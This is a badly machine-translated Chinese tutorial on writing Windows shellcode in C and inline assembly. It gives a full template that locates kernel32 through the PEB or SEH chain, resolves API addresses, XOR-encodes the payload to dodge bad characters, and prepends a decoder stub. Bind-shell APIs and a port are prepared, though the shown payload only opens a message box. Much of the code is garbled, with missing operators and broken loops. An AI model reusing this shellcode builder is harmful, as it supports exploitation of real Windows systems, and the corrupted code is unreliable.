A little thinking about shellcode prepared by WINDOWS
By hume / cold rain
Articles about Shellcode prepared, such as cow. Classic text with predecessors such as Yuange, WaterCloud
Zhang, but most of them are too professional and concise, and there is still a small difficulty to learn from beginners. Therefore put yourself
A little idea records to comfort the same dish.
I am not a tool agency, but the right tools will undoubtedly improve work efficiency, and how to choose the right tools and write
The purpose of Shellcode and the operating environment of Shellcode are directly related. Shellcode is usually overflowing, etc.
The way to obtain execution, and to call the API of the target system when executed, therefore requested
Shellcode uses a more common way to get the API function address of the target system, followed by its run address.
It is difficult to determine, so a dynamic approach should be used for the addressing of the data. In addition, shellcode is usually transmitted as data.
Give the attack program, and the attacking program generally filtering the data, which proposes the SHELLCODE.
Ask, the coding method of shellcode is now relatively simple, and it is basically the XOR Dafa or its deformation.
Write shellcode has two ways to popularize: writing extraction with C language; write and extract with assembly language.
It is most convenient to write and extract with assembly language, because shellcode code is generally short,
The completed task is relatively single, generally does not involve complex operations. Therefore, you can write it in assembly language. And use of compilation
Write the control, code location, and generated control of data, and provide direct generation binary in some assembly compilers.
Code function and provide directives that directly contain binary files, so you can write a Makefile file directly.
Shellcode code and attack programs are separated from, respectively, and there is no need for print, copy, paste, etc.
Join a section of encoded code in the attack program. This is also easy to communicate.
But now the popularity of the network is the shellcode written, but the endcode code is finally generated, which is involved.
And the problem of extracting the assembly code generated by C. But in C, due to the compiler, some additional additions are generated in the beginning and end of the function.
Code, and these code is not necessarily what we need, and there is a question is to extract the end of the code is not directly in C.
Operators are obtained. These are actually not very difficult, as long as the feature string is used in the beginning and end of the function, the C library function is used.
Memcmp search can be positioned. Coding for Shellcode can be written for a program, such as XOR. Finally write a paragraph
The function is printed, copied, and paste it can be used in the attack program.
The central idea written by c is to write code with C language, let the compiler generate binary code for us, then run at runtime
Code, print, this is done.
I found an example of writing shellcode with c, who personally commissioned it, and discovered some problems.
And add some of your own code, test.
Some of the problems are:
1. The location of the Kenergy base address and the acquisition of the API function address
The original code is used in a way to search the address space. This is not the best way, because one is more code,
The second is to handle the exceptions triggered by the search invalid page. There are still two ways available:
One is obtained from the PEB-related data structure, please refer to the Green Alliance No. 44 SCZ "through the TEB / PEB enumeration
A list of space modules in space. code show as below:
Mov Eax, FS: 0x30
Mov Eax, [EAX 0x0c]
Mov ESI, [EAX 0x1c]
Lodsd
MOV EBP, [EAX 0x08] // EBP is the address of kernel32.dll, which is more common, suitable for 2K / XP / 2003.
Another way is to search the SEH linker of the process to get the address of the kernel32.unhandledExceptionFilter,
Then, the address is retrofitable to the base address of the Kernel, which is also common, suitable for 9x / 2k / xp / 2003.
I use this method in the code below.
2. The role of several codes
You may be often seen in Shellcode extraction code.
Temp = * shellcodefnadd;
IF (Temp == 0xe9)
{
shellcodefnadd;
K = * (int *) shellcodefnadd;
Shellcodefnadd = K;
Shellcodefnadd = 4;
}
What is the use of this code? The answer is to use the function pointer when generating debug version with Visual Studio
The address obtained is not to point to the true function entry point, but point to the jump instruction JMP:
JMP Function
The code above is to handle this situation. If it is not convenient to debug, you can delete it.
There is also the code you will see:
JMP decode_end
Decode_start:
POP EDX
.......
Decode_end:
Call Decode_Start
Shell_Start:
The code such as the code is the code to locate the code at Shell_Start, which is easy to assemble, because there is no convenient means positioning in C.
The length and position of the code, so this workaround is used. Dynamic calculations can be employed when this method does not meet the requirements of the encoding.
And the method of writing. However, it is more complicated.
3. About address order of local variables
The following local variable structure is used in the original procedure:
FarProc WritefileAdd;
FarProc ReadfileAdd;
FarProc PeeknamedpiPireAdd;
FarProc CloseHandD;
FarProc CreateProcessAdd;
FarProc CreatePipeAdd;
FarProc ProcloadLib;
FarProc APIFNADD [1];
Therefore, the order in which the compiler generated by the compiler is like this, in some machines, but in my
Otherwise, such as the following test procedures:
#include
#include
#include
#include
Void shell ();
Void __cdecl main (int Argc, char * argv [])
{
FarProc Arg1;
FarProc Arg2;
FarProc Arg3;
FarProc Arg4;
FarProc Arg5;
INT PAR1;
Int par2;
INT PAR3;
Int par4;
CHAR CH;
Printf ("SIZE OF FARPROC% D / N", SIZEOF (FARPROC));
Printf ("/ n% x / n% x / n% x / n% x / n% x / N / N / T% x / n% x / n% x / n% x / n / T% x / N ",
& arg1,
& arg2,
& arg3,
& arg4,
& arg5,
& par1,
& Par2, & Par3,
& par4,
& ch
);
}
The output generated on my machine is:
12FF7C
12FF78
12FF74
12FF70
12FF68
12FF6C
12FF64
12FF60
12FF5C
12FF58
This confirms that the actual address of the local variable is not fully defined by our own definition. So the original shellcode is used
The method of using the function name directly is reliable. So I use other methods, and the Enum keyword provided makes this
Work is easy to see the code below.
4.more
Further research on the deformation shellcode avoids IDS testing, and the code method, etc.
5. Code
It can be seen that writing shellcode is more understanding of code generation and C compiler behavior. Some places have been processed
Not very effortless. However, once the template is written, it is much more effort to write up or write complex shellcode.
Increase the API as long as the function name item is added after the corresponding .dll (if there is no corresponding DLL in the STR, add it)
Synchronize the index of the enum. Use it directly when calling the API:
API [_APINAME] (param, .... param);
I.e.
If you don't comment, there is #define debug 1, the following code can be debugged after compiling, you can compile the shellcode.
The following code will pop up a dialog box and click OK to end the program. That's all.
-------------------------------------------
/ *
Use the C language to write universal shellcode program
Source: Internet
Modification: hume / cold rain
Test: Win2K SP4 Local
* /
#include
#include
#include
#define debug 1
//
// Function prototype
//
Void Decryptsc ();
Void shellcodes ();
Void Printsc (Char * LPBUFF, INT BUFFSIZE);
//
// Part of the part definition
//
#define beginstrlen 0x08 // Start string length
#define endstrlen 0x08 // End the length of the tag character
#define nop_code 0x90 // Fill characters
#define NOP_LEN 0x0 // Shellcode started fill length
#define buffsize 0x20000 // Output buffer size
#define sc_port 7788 // Bind port number 0x1e6c
#define sc_buffsize 0x2000 // shellcode buffer size
#define enc_key 0x7a // encoding key
#define max_enc_len 0x400 // Encrypted code maximum length 1024 is sufficient? #define max_sc_len 0x2000 // Hellcode's maximum length 8192 is sufficient?
#define max_api_strlen 0x400 // Apistr string length
#define API_ENDSTR "strend" // API end tag string
#define API_ENDSTRLEN 0x06 // Tag string length
#DEfine proc_begin __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 /
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __ASM _EMIT 0X90
#define proc_end proc_begin
/ / -------------------------------------------------------------------------------------------- ---
ENUM {// kernel32
_Createpipe,
_Createprocessa,
_CloseHandle,
_Peeknamedpipe,
_Readfile,
_Writefile,
_Exitprocess,
// WS2_32
_Socket,
_bind,
_Listen,
_Accept,
_send,
_Recv,
_ioctlsocket,
_closeSocket,
/ / This machine test USER32
_MessageBeep,
_MessageBoxa,
API_NUM
}
//
// Code start here
//
INT __CDECL Main (int Argc, char ** argv)
{
// String to use in Shellcode
Static char apistr [] = "/ x1e / x6c" // port address
// kernel32 API function name
"CreatePipe" "/ x0"
"CreateProcessa" "/ x0"
"Closehandle" "/ x0"
"Peeknamedpipe" "/ x0"
"Readfile" / x0 "
"Writefile" "/ x0"
"EXITPROCESS" "/ x0"
// Other APIs used in other APIs
"WSOCK32.DLL" "/ x0"
"Socket" "/ x0"
"bind" "/ x0"
Listen "" / x0 "
"accept" "/ x0"
"Send" "/ x0" "RECV" "/ x0"
IOCTLSOCKET "" / X0 "
"CloseSocket" "/ x0"
// Normal test
"User32.dll" "/ x0"
"MessageBeep" "/ X0"
"MessageBoxa" "/ x0"
"/ x0 / x0 / x0 / x0 / x0"
"strend";
Char * fnbgn_str = "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"; // Tag started string
Char * fnend_str = "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"; // Tag ended string
Char buff [buffsize]; // buffer
CHAR SC_BUFF [SC_Buffsize]; // shellcodes buffer
Char * pdcrypt_addr,
* psc_addr;
INT buff_len; // buffer length
INT Encode_len; // Encryption Code Code Length
INT sc_len; // Original shellcode length
INT I, K;
UNSIGNED CHAR CH;
//
// Get the Decryptsc () address, the address of the decoding function, then search for the max_enc_len byte, look up the string started
// Get the start address of the real decoding assembly code, MAX_ENC_LEN is defined as 1024 bytes, which is generally enough, then this
// Part of the code copy into the buffer to output Shellcode, ready to process
//
Pdcrypt_addr = (char *) Decryptsc;
// Position its actual address, because in the case of generating debug version debugging with Visual Studio, the compiler generates a jump table.
// From the jump form to calculate the actual address of the actual function, this is just to facilitate VC debugging
CH = * pdcrypt_addr;
IF (CH == 0xe9)
{
PDCrypt_addr ;
i = * (int *) pdcrypt_addr;
PDCrypt_addr = (i 4); // At this point, point to the actual address of the function
}
/ / Find the beginning of decoding code
For (k = 0; k IF (k Else { // Display error message K = 0; Printf ("/ Nno Begin Str Defined in Decrypt Function! Please Check Before Go On ... / N"); Return 0; } For (k = 0; k IF (k Else { K = 0; Printf ("/ nno end str defined in Decrypt Function! Please check .... / n"); Return 0; } Memset (buff, nop_code, buffsize); // buffer fill Memcpy (buff nop_len, pdcrypt_addr, enccode_len); // copy the Decryptsc code into the BUFF // // Process the shellcode code, if you need to locate the start of the code // PSC_ADDR = (char *) shellcodes; // shellcode's address // Function address processing in debugging, easy to debug CH = * psc_addr; IF (CH == 0xe9) { PSC_ADDR ; I = * (int *) PSC_ADDR; PSC_ADDR = (i 4); // At this time, point to the actual address of the function } // If you need to locate the beginning of the actual shellcodes (), it is not required. / * For (k = 0; k IF (k * / / / Find the end and length of shellcode For (k = 0; k IF (k Else { K = 0; Printf ("/ nno end str defined in shellcodes function! please check .... / n"); Return 0; } // copy the shellcode code into SC_BUFF Memcpy (SC_BUFF, PSC_ADDR, SC_LEN); // copy the character string on the end of shellcode For (i = 0; i IF (i> = max_api_strlen) { Printf ("/ nno end str defined in API STRINGS! PLEASE CHECK .... / N"); Return 0; } Memcpy (SC_BUFF K, APISTR, I); SC_LEN = i; // Added the length of shellcode // // The encoding algorithm for shellcode is simple, and can be changed as needed. // K = Enccode_len NOP_LEN; / / The positioning buffer should store the beginning of the shellcode address For (i = 0; i CH = SC_BUFF [I] ^ Enc_Key; // Replace some characters that may cause shellcode failure IF (CH <= 0x1f || CH == '|| CH =='. '|| CH ==' / '|| CH ==' // '|| CH ==' 0 '|| CH = = '?' || CH == '%' || CH == ' ') { BUFF [K] = '0'; K; CH = 0x31; } // put the encoded shellcode behind the Decryptsc code BUFF [K] = CH; K; } // SHELLCODE total length BUFF_LEN = K; // Print Shellcode Printsc (BUFF, BUFF_LEN); // buff [buff_len] = 0; // Printf ("% s", buff); #ifdef debug _asm { Lea Eax, Buff JMP EAX RET } #ENDIF Return 0; } // Decode the code for shellcode Void Decryptsc () { __ASM { / / / Definition Start Sign / Proc_begin // c Macro to Begin PROC JMP next GetEnccodeAddr: POP EDI Push EDI POP ESI XOR ECX, ECX Decrypt_lop: Lodsb CMP AL, CL JZ Shell CMP AL, 0x30 // Judgment is a special character JZ Special_Char_clean Store: XOR Al, ENC_KEY Stosb JMP Decrypt_lop Special_Char_clean: Lodsb SUB Al, 0x31 JMP Store NEXT: Call GetEnccodeAddr // The rest of the real encrypted shellcode code will be connected here. Shell: / // Define the end sign / Proc_end // c Macro to End Proc } } // // shellcode code // Void shellcodes () { // API low site array FarProc API [API_NUM]; // I acquired the API address FarProc getProcaddr; FarProc loadingLib; Handle HKRNL32; Handle Libhandle; Char * apistr_addr, * p; INT K; U_SHORT shellcodeport; // Test variable Char * TestAddr; / * Startupinfo SiINFO; Socket Listenfd, Clientfd; Struct SockAddr_in Server; INT Iaddrsize = Sizeof (Server); INT LBYTESREAD; PROCESS_INFORMATION processinformation; Handle Hreadpipe1, hwritepipe1, hreadpipe2, hwritepidipe2; Security_attributes sa; * / _asm { JMP Locate_addr0 GetApistr_addr: POP APISTR_ADDR // Start getting the address of the API and the address of getProcaddress and LoadLibrarya, you can easily get the address of any API. // Protection Register Pushhad XOR ESI, ESI Lods DWORD PTR FS: [ESI] Search_krnl32_lop: INC EAX JE KRNL32_BASE_OK Dec EAX XCHG ESI, EAX Lodsd JMP Search_krnl32_lop KRNL32_BASE_OK: Lodsd COMPARE IF PE_HDR XCHG ESI, EAX Find_pe_header: Dec ESI XOR Si, Si; Kernel32 IS 64KB Align MOV EAX, [ESI] Add Ax, - 'ZM'; JNE FIND_PE_HEADER MOV EDI, [ESI 3CH]; .e_lfaNew MOV EAX, [ESI EDI] Add Eax, - 'EP'; Anti Heuristic Change this if you are use masm etc. JNE FIND_PE_HEADER PUSH ESI ESI = VA KERNEL32.BASE EDI = RVA K32.PEHDR MOV EBX, ESI Mov EDI, [EBX EDI 78H]; Peh.DataDirectory Push EDI PUSH ESI Mov Eax, [EBX EDI 20h]; Peexc.AddressofNames MOV EDX, [EBX EDI 24h]; Peexc.AddressofNameRDINALS Call __getprocaddr _emit 0x47 _emit 0x65 _emit 0x74 _emit 0x50 _emit 0x72 _emit 0x6f _emit 0x63 _emit 0x41 _emit 0x64 _emit 0x64 _emit 0x72 _emit 0x65 _emit 0x73 _emit 0x73 _emit 0x0 // DB "getprocaddress", 0 __getprocaddr: POP EDI MOV ECX, 15 Sub Eax, 4 NEXT_: Add Eax, 4 Add Edi, ECX Sub EDI, 15 MOV ESI, [EBX EAX] Add ESI, EBX MOV ECX, 15 REPZ CMPSB JNZ next_ POP ESI POP EDI Sub Eax, [EBX EDI 20h]; Peexc.AddressOfnames SHR EAX, 1 Add Edx, EBX Movzx Eax, Word PTR [EDX EAX] Add ESI, [EBX EDI 1CH]; Peexc.Addressoffunctions Add EBX, [ESI EAX * 4]; EBX = kernel32.GetProcaddress.addr Use getProcaddress and hModule to get other func POP ESI; ESI = Kernel32 Basemov [HKRNL32], ESI / / Save MOV [getProcaddr], EBX / / save Call _GetLoadLib _emit 0x4c _emit 0x6f _emit 0x61 _emit 0x64 _emit 0x4c _emit 0x69 _emit 0x62 _emit 0x72 _emit 0x61 _emit 0x72 _emit 0x79 _emit 0x41 _emit 0x0 // DB "loadinglibrarya", 0 _GetLoadLib: PUSH ESI Call EBX MOV [loadinglib], EAX // Restore registers to avoid more problems Popad } / / Remove the defined port address ShellcodePort = * (u_short *) apistr_addr; Apistr_addr = 2; Test TestAddr = apistr_addr; // Use getProcAddress to get the API address used in Shellcode LibHandle = HKRNL32; P = apistr_addr; K = 0; /// * While (* (unsigned int *) p)! = 0) { Apistr_addr = p; While (* p) p ; // advance to the next string IF (* ((unsigned int *)) == 'LLD.') { LIBHANDLE = (Handle) LoadLib (apistr_addr); // Load DLL if DLL } Else { API [K] = (FARPROC) getProcaddr (LibHandle, Apistr_Addr); K ; } Apistr_addr = p; / / Improve a character position before updating pointer } // * / /// // You can use the C language to write the truly functional shellcode ///// /// // // Simple test a few APIs to see if the composite requirements // API [_MESSAGEBEEP] (0x10); API [_MessageBoxa] (0, TestAddr, 0,0x40); API [_EXITPROCESS] (0); /// // SHELLCODE function part end // /// // Dead cycle DIE: Goto Die; __ASM { LOCATE_ADDR0: Call getapistr_addr //5 bytes // The real string data is to be connected here. / // Define the end sign / Proc_end // c Macro to End Proc } } // / / Display the C string format code for print generated shellcode // Void Printsc (Char * LPBUFF, INT BUFFSIZE) { INT I, J; Char * p; Char msg [4]; For (i = 0; i { IF ((i% 16) == 0) IF (i! = 0) Printf ("/" / n / ""); Else PRINTF ("/"); Sprintf (msg, "// x% .2x", lpbuff [i] & 0xff); for (p = msg, j = 0; j <4; p , j ) { IF (iSupper (* p)) Printf ("% C", _tolower (* p)); Else Printf ("% c", p [0]); } } Printf ("/"; / N / * shell total is% d bytes * // n ", buffsize); }